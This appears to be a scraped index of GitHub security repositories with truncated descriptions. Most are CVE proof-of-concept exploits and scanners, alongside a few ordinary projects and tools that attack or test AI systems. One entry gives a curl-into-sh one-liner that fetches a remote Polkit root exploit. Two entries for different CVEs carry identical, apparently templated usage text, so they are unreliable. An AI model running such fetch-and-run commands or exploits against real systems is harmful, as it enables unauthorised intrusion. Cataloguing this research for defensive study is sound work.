CVE-2026-21531

Security Feature Bypass in ASP.NET Core by Microsoft CVE-2026-21531 🌟 Description A vulnerability in the Azure SDK facilitates deserialization of untrusted data, enabling unauthorized attackers to execute arbitrary code over a network. ⚙️ Installation To set up the exploitation tool, follow these...

CVE-2021-4034

CVE-2021-4034 PoC CVE 2021-4034 PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec PoC Verified on Kali. ┌──kali㉿kali-/Documents └─$ grep PRETTY /etc/os-release PRETTYNAME="Kali GNU/Linux Rolling" ──kali㉿kali-/Documents └─$ lsbrelease -a No LSB modules are available...

RDPVulnarableCheck

This repository does not have a README...

garak

garak, escáner de vulnerabilidades de LLM Kit de Red-teaming y Evaluación de IA Generativa garak verifica si un LLM puede ser inducido a fallar de una manera no deseada. garak busca alucinaciones, fugas de datos, inyección de prompts, desinformación, generación de toxicidad, jailbreaks y muchas...

CVE-2026-0745

CVE-2026-0745...

PX4-Autopilot

The autopilot stack the industry builds on. About PX4 is an open-source autopilot stack for drones and unmanned vehicles. It supports multirotors, fixed-wing, VTOL, rovers, and many more experimental platforms from racing quads to industrial survey aircraft. It runs on NuttX, Linux, and macOS...

cve-2026-25676

CVE-2026-25676 Research DLL Search Path Hijacking in M-Track Duo HD Installer Overview This repository contains initial research and a proof-of-concept related to CVE-2026-25676, a DLL search path hijacking vulnerability affecting the installer of M-Track Duo HD 1.0.0. The goal of this project is...

CVE-2025-11371

CVE-2025-11371 Overview This repository contains a proof-of-concept exploit for CVE-2025-11371, an unauthenticated Local File Inclusion LFI vulnerability in Gladinet CentreStack and TrioFox. The exploit allows remote retrieval of sensitive system files, such as the Web.config, which can expose...

CVE-2026-4447

CVE-2026-4447 - V8 in Google Chrome prior to Remote Code Execution Quick Usage python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Exploitation Notes Severity: HIGH CVSS: 8.8 Impact: Confidentiality, Integrity, Availability Published: 2026-03-20 Technical Summary...

CVE-2021-4034

CVE-2021-4034 Dirty PoC for CVE-2021-4034 Pwnkit Full credits to Qualys Team https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034...

CVE-2026-3055

CVE-2026-3055 - Security Vulnerability Severity: N/A CVSS: N/A Impact: N/A Published: 2026-03-23 Legal For authorized security testing only. Root Cause short version Insufficient input validation in NetScaler ADC and NetScaler Gateway when configured as a SAML IDP leading to memory overread...

CVE-2021-4034

CVE-2021-4034 BASH file, no download capabilties? Copy and paste it!...

almalinux-fix-cve-2026-31431

CVE-2026-31431 algifaead and Dirty Frag CVE-2026-43284 Vulnerability Fix Updates the system to close the CVE-2026-31431 algifaead and Dirty Frag CVE-2026-43284 vulnerabilities found in the Linux kernel and automatically sets the secure kernel version as the default. English: This script...

CVE-2026-27597

CVE-2026-27597 - version Remote Code Execution Quick Usage python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Exploitation Notes Severity: CRITICAL CVSS: 10.0 Impact: Confidentiality, Integrity, Availability Published: 2026-02-25 Technical Summary Enclave is a secure...

steganography

Herramienta de Esteganografía de Imágenes Herramienta simple de Cifrado y Esteganografía que utiliza cifrado protegido por contraseña para asegurar el contenido de un archivo, y luego lo incrusta en los datos de píxeles de una imagen utilizando codificación de bit menos significativo. Para sistem...

CVE-2026-27507

CVE-2026-27507...

CVE-2021-3560

CVE-2021-3560 Polkit Instant Root Exploit You can run one command to root with Polkit CVE-2021-3560 vulnerable boxes by typing in: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" Or you can download the .sh or copy and paste it. Run and Instant Root. Us...

aclpwn.py

aclpwn.py Aclpwn.py is a tool that interacts with BloodHound to identify and exploit ACL based privilege escalation paths. It takes a starting and ending point and will use Neo4j pathfinding algorithms to find the most efficient ACL based privilege escalation path. Aclpwn.py is similar to the...

MARA_Framework

MARAFramework MARA es un M obile A pplication R everse engineering and A nalysis Framework. Es una herramienta que reúne herramientas de análisis y de ingeniería inversa de aplicaciones móviles comúnmente utilizadas, para ayudar en la prueba de aplicaciones móviles contra las amenazas de segurida...

CVE-2026-26198

CVE-2026-26198...

bug-free-memory

nate158 https://t.me/Nate158digimon gcloud compute addresses create google-managed-services-VPCNETWORKNAME --global --purpose=VPCPEERING --addresses=192.168.0.0 --prefix-length=16 --network=projects/PROJECTID/global/networks/VPCNETWORKNAME nate15872.wordpress.com...

CVE-2025-60736

CVE-2025-60736: SQL Injection Vulnerability in Online Medicine Guide Executive Summary This document outlines a critical SQL injection vulnerability discovered in the Online Medicine Guide web application. The vulnerability allows unauthorized database access and poses significant security risks ...

PasteHunter

PasteHunter PasteHunter is a python3 application that is designed to query a collection of sites that host publicly pasted data. For all the pastes it finds it scans the raw contents against a series of Yara rules looking for information that can be used by an organisation or a researcher. Setup...

proxy.py

!Python 3.xhttps://img.shields.io/static/v1?label=Python&message=3.6%20%7C%203.7%20%7C%203.8%20%7C%...

CVE-2026-30741

Security Advisory: CVE-2026-30741 Product: OpenClaw Agent Platform Affected Versions: v2026.2.6 and earlier Vulnerability Type: Remote Code Execution RCE via Request-Side Prompt Injection Description: A lack of integrity validation for upstream API requests allows for request-stream poisoning. Th...

CVE-2026-2441

CSS in Google Chrome prior to Remote Code Execution CVE-2026-2441 Overview A HIGH vulnerability, classified as CVE-2026-2441, has been identified, categorized under CWE-416, CWE-416, CVSS 8.8. Use after free in CSS in Google Chrome prior to 145.0.7632.75 allowed a remote attacker to execute...

wuzz

wuzz Herramienta CLI interactiva para inspección HTTP. Los argumentos de línea de comandos de Wuzz son similares a los argumentos de cURL, por lo que puede usarse para inspeccionar/modificar peticiones copiadas desde el inspector de red del navegador con la función "copy as cURL". Instalación y u...

wuzz

wuzz Interactive cli tool for HTTP inspection. Wuzz command line arguments are similar to cURL's arguments, so it can be used to inspect/modify requests copied from the browser's network inspector with the "copy as cURL" feature. Installation and usage GO $ go get github.com/asciimoo/wuzz $...

cve_2026_34621_advanced

CVE-2026-34621 Advanced Exploit Generator A sophisticated, cross-platform exploit generator for CVE-2026-34621 – a critical prototype pollution vulnerability in Adobe Acrobat and Reader that leads to sandbox escape and arbitrary code execution on Windows and macOS. ⚠️ IMPORTANT DISCLAIMER This too...

CVE-2026-22730-Scanner

CVE-2026-22730 Scanner & Exploit – Spring AI MariaDB Vector Store SQL Injection A professional security assessment tool for CVE-2026-22730 – a critical SQL injection vulnerability discovered in Spring AI's MariaDB vector store. This tool allows authorised penetration testers and security...

CVE-2026-31844

Koha CVE-2026-31844: Authenticated SQL Injection Overview This repository contains a responsible vulnerability POC for CVE-2026-31844 , a high severity authenticated SQL injection vulnerability in the Koha Library Management System. The vulnerability exists in the GetDistinctValues function in...

nDPI

nDPI ¿Qué es nDPI? nDPI® es una biblioteca de código abierto con licencia LGPLv3 para la inspección profunda de paquetes. Una FAQ genérica sobre nDPI está disponible aquí Cómo Compilar nDPI Para compilar este proyecto, ejecuta ./autogen.sh && ./configure make Si obtienes algunos errores al compil...

CVE-2026-3228

CVE-2026-3228 - NextScripts WordPress Plugin Stored XSS Scanner & Exploit https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/WordPress-Plugin-red Author: NULL200OK A comprehensive Python tool to scan for and exploit...

-nginxui_discover

Nginx UI Discovery Scanner - CVE-2026-27944 Version Detector https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/threading-multi--threaded-brightgreen Author: NULL200OK A high‑performance, multi‑threaded scanner to discover...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail CVE-2026-31431 PoC and payload examples. Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions Affected Linux Distributions Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1|...

firecrawl-mcp-server

Firecrawl MCP Server A Model Context Protocol MCP server that brings Firecrawl to MCP-compatible AI agents — search, scrape, and interact with the live web for clean, agent-ready context. Big thanks to @vrknetha, @knacklabs for the initial implementation! Features Search the web and get full page...

CVE-2025-49844_POC

CVE-2025-49844POC CVE-2025-49844 POC -h View help information ··· Redis has a Redis Lua script remote code execution vulnerability CVE-2025-49844. The root cause of this vulnerability is a design flaw in the interaction between Redis's Lua script engine and its memory management logic. ··· ···...

chaosblade

BLADE AI Languages: 中文 | English Kubernetes chaos-engineering AI agent — describe a fault in plain English or Chinese, no need to memorize CLI flags. BLADE AI is the orchestration layer on top of ChaosBlade: the agent understands intent, runs four-layer safety review, drives the injection, verifi...

CVE-2021-4034

CVE-2021-4034 A day for the polkit privilege escalation exploit Simply run and enjoy ./blasty for your root shell. The original advisory from the real authors is - here Installation If the exploit works, you will get a root shell immediately: user@tecnokarita-/Descargas $ git clone...

CVE-2025-4123-Exploit

CVE-2025-4123 PoC A small proof-of-concept tool — sends a specific payload to a target and checks for 301/302 redirect responses, reporting the Location header. This repository is intended for educational/research purposes only. Follow responsible disclosure policies. Below are usage and build...

CVE-2026-31908

CVE-2026-31908 - Apache APISIX Header Injection Exploit 📋 Overview This is a Proof of Concept PoC exploit for CVE-2026-31908 , a critical header injection vulnerability discovered in Apache APISIX versions 2.12.0 through 3.15.0. The vulnerability exists in the forward-auth plugin, where improper...

CTF_CVE_DSP_1

🚩 Vuln Gallery CTF Welcome to Vuln Gallery , an intermediate-level Linux-based CTF Capture The Flag. This challenge will guide you from the initial exploitation of a modern web application to privilege escalation on a misconfigured Linux system. Your mission is to exploit the vulnerabilities, mov...

CVE-2026-30952-PoC

CVE-2026-30952: LiquidJS Path Traversal PoC This repository contains a Proof of Concept PoC for CVE-2026-30952 , a high-severity path traversal vulnerability discovered in the liquidjs library versions console.logo.slice0,500;...

CVE-2026-1281-Ivanti-EPMM-RCE

CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE ⚠️ DISCLAIMER: This PoC is provided solely for educational and security research purposes. Unauthorized use is illegal. 🎯 Description Complete Proof of Concept PoC for exploiting the CVE-2026-1281 and CVE-2026-1340 vulnerabilities affecting...

CVE-2021-4034

CVE-2021-4034 PWNKIT Script to create e exploit vuln for CTF. Source code by github.com/berdav Real Author: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2026-6111

CVE-2026-6111 Vulnerability Scanner This is a simple Python script used to scan websites to check for the CVE-2026-6111 vulnerability. It sends modified requests to the target URL and checks the response for the presence of this vulnerability. Requirements Python 3 requests library tqdm library Y...

CVE-2026-30498

CVE-2026-30498 – CSRF Vulnerability AdminPanel 4.0 Overview CVE ID: CVE-2026-30498 Reserved by MITRE Discoverer: Mehdi Ben Hamou A Cross-Site Request Forgery CSRF vulnerability exists in the delete.php endpoint of AdminPanel 4.0. This vulnerability allows an attacker to trigger sensitive actions...

ProcessHider

ProcessHider Creado por M00nRise NOTA IMPORTANTE Esta herramienta está permitida solo para pruebas de penetración y otras actividades de sombrero blanco. ¡El uso ilegal está absolutamente prohibido! Acerca de ProcessHider es una herramienta de post-explotación diseñada para ocultar procesos de...

CVE-2025-49844-RediShell-Vulnerability-Scanner

CVE-2025-49844 RediShell Vulnerability Scanner Description A tool for checking the CVE-2025-49844 RediShell vulnerability in Redis. The utility performs safe checks without actually exploiting the vulnerability. Vulnerability CVE-2025-49844 - A Use-After-Free vulnerability in the Redis Lua...

Copy-Fail-CVE-2026-31431

Copy-Fail-CVE-2026-31431 A proof-of-concept exploit reproduction of the Linux kernel vulnerability CVE-2026-31431 , also known as Copy Fail. Credits to: Copy Fail Affected Systems Linux kernel versions 4.14 and newer Most major distributions released from 2017 until patch deployment Ubuntu, Debia...